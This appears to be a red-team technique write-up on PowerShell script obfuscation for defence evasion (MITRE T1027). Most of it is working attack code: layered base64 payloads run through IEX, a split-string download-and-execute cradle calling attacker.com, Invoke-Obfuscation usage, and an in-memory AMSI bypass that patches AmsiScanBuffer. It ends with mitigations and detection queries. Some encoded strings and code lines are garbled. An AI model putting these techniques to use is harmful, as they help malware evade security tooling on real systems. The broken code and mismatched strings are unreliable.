| Attribute | Details |
|---|---|
| Technique ID | EVADE-OBFUS-001 |
| MITRE ATT&CK v18.1 | T1027 - Obfuscated Files or Information |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint (PowerShell, VBScript, Batch, CMD) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows 7 SP1, Server 2008 R2, and all subsequent versions |
| Patched In | No patch (AMSI bypass is continuous cat-and-mouse game) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Script obfuscation involves encoding, encrypting, or otherwise disguising PowerShell, VBScript, Batch, or other scripting content to evade detection by security tools (antivirus, EDR, AMSI). Attackers use multiple obfuscation layers—such as base64 encoding, string concatenation, variable aliasing, command substitution, and environment variable expansion—to create scripts that are functionally identical to malicious payloads but unrecognizable to signature-based detection mechanisms. Tools like Invoke-Obfuscation automate this process, creating polymorphic scripts with randomized variable names, split strings, and complex expressions.
Attack Surface: PowerShell (ScriptBlock execution), CMD.exe (command-line arguments), WScript.exe (VBScript), Windows Batch (.bat/.cmd files), registry-based script storage.
Business Impact: Successful evasion of security monitoring, allowing execution of malicious scripts without detection. Obfuscated scripts enable ransomware deployment, credential harvesting, data exfiltration, and privilege escalation to proceed undetected. When combined with execution aliases and dynamic invocation, scripts bypass even behavior-based detection systems.
Technical Context: Traditional detection relies on recognizable patterns: powershell, -EncodedCommand, IEX, DownloadString, FromBase64String, etc. Obfuscation replaces these with variations: aliases for IEX (e.g., &{}, &$(), IEX|?, etc.), substring variables for command names, base64-encoded payloads with multi-step decoding, and inline compression. AMSI (introduced in Windows 10/Server 2016) added behavioral inspection at script runtime, but numerous AMSI bypass techniques exist and are regularly updated.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.6.1 | Ensure PowerShell execution policy is set to Restricted or AllSigned |
| DISA STIG | V-93311 | Windows Server: Restrict PowerShell script execution |
| NIST 800-53 | SI-4 | Information System Monitoring – Detect suspicious script activity |
| GDPR | Art. 32 | Security of Processing – Log script execution |
| NIS2 | Art. 21 | Cyber Risk Management – Detect obfuscated malware |
| ISO 27001 | A.12.4.1 | Event Logging – Monitor and log all script executions |
| ISO 27005 | Risk Assessment | Malware and Attack Vector Execution |
Prerequisites:
Supported Versions: All Windows versions with PowerShell 2.0+
Objective: Create a proof-of-concept script demonstrating obfuscation detection evasion.
PowerShell Script (Malicious Payload - PoC):
# Example malicious payload (PoC - creates test file)
Write-Host "This is a test payload"
New-Item -Path "C:\Temp\test.txt" -ItemType File -Value "Obfuscation Test" -Force
What This Means:
Write-Host, New-Item, etc.Objective: Convert the script into base64 format, then encode that, creating multiple layers.
PowerShell Command (Single Layer Base64):
$payload = @'
Write-Host "This is a test payload"
New-Item -Path "C:\Temp\test.txt" -ItemType File -Value "Obfuscation Test" -Force
'@
# Convert to Base64
$bytes = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded = [Convert]::ToBase64String($bytes)
Write-Host "Encoded Payload:"
Write-Host $encoded
Expected Output:
Encoded Payload:
VwByAGkAdABlAC0ASABvAHMAdAAgACIAVABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACAAcABhAHkAbABvAGEAZAAiAA0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFQAZQBtAHAAXAB0AGUAcwB0AC4AdAB4AHQAIgAgAC0ASQB0AGUAbQBUAHkAcABlACAAIgBGAGkAbABlACIAIAAtAFYAYQBsAHUAZQAgACIATwBiAGYAdQBzAGMAYQB0AGkAbwBuACAA
Objective: Execute the base64-encoded payload using PowerShell’s -EncodedCommand parameter.
PowerShell Command (Execute):
# This command executes the base64-encoded script
powershell.exe -NoProfile -EncodedCommand "VwByAGkAdABlAC0ASABvAHMAdAAgACIAVABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACAAcABhAHkAbABvAGEAZAAiAA0ACgBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiAEMAOgBcAFQAZQBtAHAAXAB0AGUAcwB0AC4AdAB4AHQAIgAgAC0ASQB0AGUAbQBUAHkAcABlACAAIgBGAGkAbABlACIAIAAtAFYAYQBsAHUAZQAgACIATwBiAGYAdXNjYXRpb24gVGVzdCIgLUZvcmNl"
Expected Output:
C:\Temp\test.txt is created-EncodedCommand, not the malicious codeOpSec & Evasion:
-EncodedCommand bypasses execution policy automaticallyObjective: Apply multiple layers of encoding/compression to evade AMSI and log-based detection.
PowerShell (Double-Layered Obfuscation):
# Original payload
$payload = "Write-Host 'Obfuscated'; New-Item -Path C:\Temp\test.txt -ItemType File -Force"
# Layer 1: Base64
$bytes1 = [System.Text.Encoding]::Unicode.GetBytes($payload)
$encoded1 = [Convert]::ToBase64String($bytes1)
# Layer 2: Reverse the string
$reversed = $encoded1[-1..-($encoded1.length)] -join ''
# Layer 3: Encode reversed as Base64
$bytes2 = [System.Text.Encoding]::Unicode.GetBytes($reversed)
$encoded2 = [Convert]::ToBase64String($bytes2)
# Execution script
$exec = @"
`$x = [Convert]::FromBase64String('$encoded2')
`$y = [System.Text.Encoding]::Unicode.GetString(`$x)
`$z = `$y[-1..-(` $y.length)] -join ''
`$a = [Convert]::FromBase64String(`$z)
IEX ([System.Text.Encoding]::Unicode.GetString(`$a))
"@
Write-Host $exec
Execution:
powershell.exe -NoProfile -EncodedCommand ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($exec)))
Effect:
Supported Versions: All Windows versions with PowerShell
Objective: Break command strings into parts to avoid signature matching.
PowerShell (Original - Easy to Detect):
Invoke-WebRequest -Uri "http://attacker.com/malware.ps1" | Invoke-Expression
PowerShell (Obfuscated - Harder to Detect):
# Break the command into pieces
$c = "Invo"+"ke-We"+"bRequest"
$u = "http://att"+"acker.c"+"om/malware.ps1"
$i = "Invo"+"ke-Exp"+"ression"
# Execute using variable substitution
& $c -Uri $u | & $i
Or using concatenation within parentheses:
("Invo"+"ke-E"+"xpression") New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")
OpSec & Evasion:
Supported Versions: All Windows versions with PowerShell 2.0+
Objective: Use the Invoke-Obfuscation framework for automated, polymorphic script obfuscation.
PowerShell Installation:
# Download Invoke-Obfuscation from GitHub
$repo = "https://raw.githubusercontent.com/danielbohannon/Invoke-Obfuscation/master"
$file = "Invoke-Obfuscation.ps1"
Invoke-WebRequest -Uri "$repo/$file" -OutFile "$env:TEMP\Invoke-Obfuscation.ps1"
# Import the module
Import-Module "$env:TEMP\Invoke-Obfuscation.ps1"
Expected Output:
Module loaded successfully
Objective: Use Invoke-Obfuscation to create a polymorphic obfuscated version.
PowerShell Command:
$scriptPath = "C:\malicious.ps1"
$obfuscatedScript = Invoke-Obfuscation -ScriptPath $scriptPath -Command 'Encoding\Base64 -EncodedCommand'
Write-Host $obfuscatedScript
Or interactively:
Invoke-Obfuscation
# Then at prompt:
# > set ScriptPath C:\malicious.ps1
# > encoding
# > base64 | encodecommand
# > out C:\obfuscated.ps1
Expected Output:
Obfuscation Options:
- Token Obfuscation
- String Obfuscation
- Variable Obfuscation
- Command Substitution
- Encoding (Base64, Hex, ASCII, etc.)
Output: obfuscated.ps1 (10-20% larger than original due to encoding)
Verification (Run Obfuscated):
# Execute the obfuscated script
. C:\obfuscated.ps1
OpSec & Evasion:
Supported Versions: Windows 10+, Server 2016+ (with PowerShell 5.0+)
Objective: Disable AMSI at runtime to allow execution of flagged scripts.
PowerShell (Patch AMSI in Memory):
# AMSI bypass via reflection patching
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
# Locate AMSI.dll in memory
$amsi = [ZQCUW]::LoadLibrary("amsi.dll")
$addr = [ZQCUW]::GetProcAddress($amsi, "AmsiScanBuffer")
# Patch: Replace first bytes with "return 0" (0xC3)
$VirtualProtect = [ZQCUW]::VirtualProtect
$VirtualProtect.Invoke($addr, [UIntPtr]1, 0x40, [ref]0) | Out-Null
[System.Runtime.InteropServices.Marshal]::WriteByte($addr, 0xC3)
# Now malicious code runs undetected
Write-Host "AMSI disabled. Executing protected code..."
Expected Outcome:
Detection Indicators:
Supported Versions: All PowerShell versions
Objective: Disguise the IEX command using aliases and variable substitution.
PowerShell Examples:
# Standard IEX (easily detected)
$payload = "Write-Host 'Malicious'"
IEX $payload
# Obfuscated Variant 1: Using Get-Alias
$payload = "Write-Host 'Malicious'"
& (Get-Alias iex) $payload
# Obfuscated Variant 2: Using wildcard matching
$payload = "Write-Host 'Malicious'"
& (Get-Command i*x) $payload
# Obfuscated Variant 3: Using character codes
$payload = "Write-Host 'Malicious'"
$iex = [char]73 + [char]69 + [char]88 # "IEX"
& (Get-Command $iex) $payload
# Obfuscated Variant 4: Globfuscation (wildcard expansion)
$payload = "Write-Host 'Malicious'"
. ( $env:ComSpec[4,15,25]-join'') $payload
# Obfuscated Variant 5: Via variable assignment and invocation
$payload = "Write-Host 'Malicious'"
$ExecutionContext.InvokeCommand.InvokeScript($payload)
OpSec & Evasion:
Atomic Test ID: T1027.010-1 (Command Obfuscation)
Test Name: Obfuscate Script with Base64 Encoding
Command:
# Create malicious script
$malicious = "Write-Host 'Detected!'; Get-Process"
# Encode
$bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
$encoded = [Convert]::ToBase64String($bytes)
# Execute obfuscated
powershell.exe -NoProfile -EncodedCommand $encoded
Cleanup Command:
# No persistent artifacts to clean (script execution is transient)
Remove-Item -Path "$env:TEMP\obfuscated.ps1" -Force -ErrorAction SilentlyContinue
Reference: Atomic Red Team - T1027.010
Mitigation 1: Enable PowerShell ScriptBlock Logging (Event ID 4104)
Capture the decoded content of scripts at runtime.
Manual Steps (Enable ScriptBlock Logging via GPO):
gpupdate /force on target machinesManual Steps (Local Policy):
$regPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD -Force
Verification:
# Check if logging is enabled
Get-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging"
Expected Output (Enabled):
EnableScriptBlockLogging : 1
Result:
Mitigation 2: Restrict PowerShell Execution Policy
Prevent unsigned scripts from executing.
Manual Steps (Set Execution Policy via GPO):
gpupdate /forceManual Steps (Local Machine):
# Restrict to AllSigned (only signed scripts allowed)
Set-ExecutionPolicy -ExecutionPolicy AllSigned -Scope LocalMachine -Force
# Verify
Get-ExecutionPolicy
Expected Output:
AllSigned
Result:
Mitigation 3: Deploy AMSI-Aware EDR/XDR Solutions
Use tools that monitor AMSI callbacks and detect obfuscation attempts.
Tools:
Configuration:
Mitigation 4: Monitor for Base64 Encoding & -EncodedCommand
Alert on suspicious PowerShell command patterns.
Manual Steps (Create Detection Rule in Sentinel/Splunk):
KQL (Microsoft Sentinel):
DeviceProcessEvents
| where ProcessCommandLine contains "-EncodedCommand" or ProcessCommandLine contains "-e"
| where ProcessCommandLine contains "powershell"
| project TimeGenerated, DeviceName, ProcessCommandLine, InitiatingProcessAccountName
| order by TimeGenerated desc
Splunk SPL:
index=main source=WinEventLog:Security CommandLine="*powershell*"
(CommandLine="*-EncodedCommand*" OR CommandLine="*-e *")
| stats count by host, user
| where count > 5
Triggering Alert:
-EncodedCommandExpected Output:
DeviceName: WORKSTATION01
ProcessCommandLine: powershell.exe -NoProfile -EncodedCommand VwByAGkAdGUA...
AlertLevel: Medium
Mitigation 5: Block Suspicious Script Execution Patterns
Use Application Control (AppLocker/Windows Defender Application Control).
Manual Steps (Deploy AppLocker Rule for Script Execution):
Microsoft Corporation AND (Path contains \Temp\ OR Path contains \AppData\)Expected Outcome:
Mitigation 6: Monitor File Less Attacks
Detect scripts stored in registry, WMI, or memory.
PowerShell Detection Script:
# Check for scripts in registry
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" |
Where-Object { $_ -match "powershell|cmd|vbs" } |
ForEach-Object { Write-Host "Suspicious registry entry found: $_" }
# Check for WMI event subscriptions (fileless persistence)
Get-WmiObject __EventFilter -Namespace root\subscription
# Check for running scripts in memory
Get-Process | Where-Object { $_.Name -eq "powershell" } |
ForEach-Object { Get-Process -Id $_.Id | Select-Object -ExpandProperty CommandLine }
-EncodedCommand, -E, -NoProfile, -NoLogging, -ExecutionPolicy Bypass.ps1, .vbs, .bat, .cmd files in suspicious locations (\Temp\, \AppData\Local\Temp\, %USERPROFILE%\Downloads\)HKCU:\Software\, HKLM:\Software\Microsoft\Windows\RunPowerShell Event Log Query (ScriptBlock Logging):
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath "*[System[(EventID=4104)]]" |
Where-Object { $_.Message -match "base64|encoding|compress|frombase64|invocation" } |
Select-Object TimeCreated, Message
Process Command-Line Monitoring:
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4688)]] and *[EventData[Data[@Name='CommandLine'] and (contains(., '-EncodedCommand') or contains(., '-e '))]]" |
Select-Object TimeCreated, @{N="CommandLine";E={$_.Properties[8].Value}}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | User receives phishing email with obfuscated script link |
| 2 | Execution | [EVADE-OBFUS-001] | Obfuscated script bypasses AV/EDR detection |
| 3 | Persistence | [CA-STORE-001] DPAPI Credential Decryption | Script decrypts stored credentials |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Script uses stolen credentials to move laterally |
| 5 | Impact | [IMPACT-001] Data Exfiltration | Obfuscated script exfiltrates sensitive data |
For authorized security testing and purple teaming:
Disclaimer: These tools should only be used in authorized security testing and red team engagements with proper Rules of Engagement (RoE) and contractual agreements.